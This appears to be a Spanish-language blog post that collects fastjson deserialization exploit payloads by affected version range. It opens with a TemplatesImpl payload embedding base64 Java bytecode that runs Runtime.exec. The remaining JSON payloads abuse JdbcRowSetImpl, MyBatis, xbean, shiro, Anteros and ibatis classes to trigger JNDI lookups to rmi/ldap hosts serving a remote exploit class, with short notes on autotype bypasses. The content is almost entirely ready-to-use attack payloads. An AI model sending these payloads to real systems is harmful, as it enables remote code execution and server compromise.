Vulnerabilidades de deserialización en fastjson por versión

El payload codificado en base64 corresponde a una clase maliciosa generada previamente. Debe ajustarse según el contexto de uso.

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],"_name":"x.y","_tfactory":{},"_outputProperties":{}}

fastjson 1.2.25 - 1.2.41

Requiere autotype habilitado.

{
  "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName": "rmi://127.0.0.1:1099/execPayload",
  "autoCommit": true
}

fastjson 1.2.25 - 1.2.42

Requiere autotype habilitado. Bypass mediante doble prefijo L.

{
  "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
  "dataSourceName": "ldap://127.0.0.1:1389/exploitCls",
  "autoCommit": true
}

fastjson 1.2.25 - 1.2.43

Requiere autoytpe habilitado. Bypass mediante notación de array.

{
  "@type": "[com.sun.rowset.JdbcRowSetImpl"[{,
  "dataSourceName": "ldap://127.0.0.1:1389/exploitCls",
  "autoCommit": true
}

fastjson 1.2.25 - 1.2.45

Requiere autotype habilitado. Vector alternativo mediante JndiDataSourceFactory de MyBatis.

{
  "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
  "properties": {
    "data_source": "ldap://127.0.0.1:1389/exploitCls"
  }
}

fastjson 1.2.25 - 1.2.47

No requiere autotype habilitado. Explotación incondicional utilizando java.lang.Class como puante de carga.

{
  "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://127.0.0.1:1389/exploitCls",
    "autoCommit": true
  }
}

fastjson <= 1.2.62

Requiere autotype habilitado y la presencia de la librería xbean-reflect en el classpath.

{
  "@type": "org.apache.xbean.propertyeditor.JndiConverter",
  "AsText": "ldap://127.0.0.1:1234/exportObj"
}

fastjson <= 1.2.66

Requiere autotype habilitado. Existen múltiples vectores dependiendo de las dependencias disponibles en el classpath.

Vector con shiro-core

Aplica cuando el proyecto incluye la dependencia org.apache.shiro:shiro-core. La clase objetivo es JndiRealmFactory.

{
  "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",
  "jndiNames": [
    "ldap://127.0.0.1:1389/exploitCls"
  ],
  "Realms": [
    ""
  ]
}

Vector con Anteros-Core y Anteros-DBCP

Aplica cuando están presentes las librerías Anteros-DBCP. La clase objetivo es AnterosDBCPConfig.

{
  "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
  "metricRegistry": "ldap://127.0.0.1:1389/exploitCls"
}

Variante alternativa utilizando el campo healthCheckRegistry:

{
  "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
  "healthCheckRegistry": "ldap://127.0.0.1:1389/exploitCls"
}

Vector con ibatis-sqlmap y jta

Aplica cuando están presentes ibatis-sqlmap junto con jta. La clase objetivo es JtaTransactionConfig.

{
  "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
  "properties": {
    "@type": "java.util.Properties",
    "UserTransaction": "ldap://127.0.0.1:1389/exploitCls"
  }
}

Etiquetas: fastjson deserialización JNDI Java security TemplatesImpl

Publicado el 6-30 00:54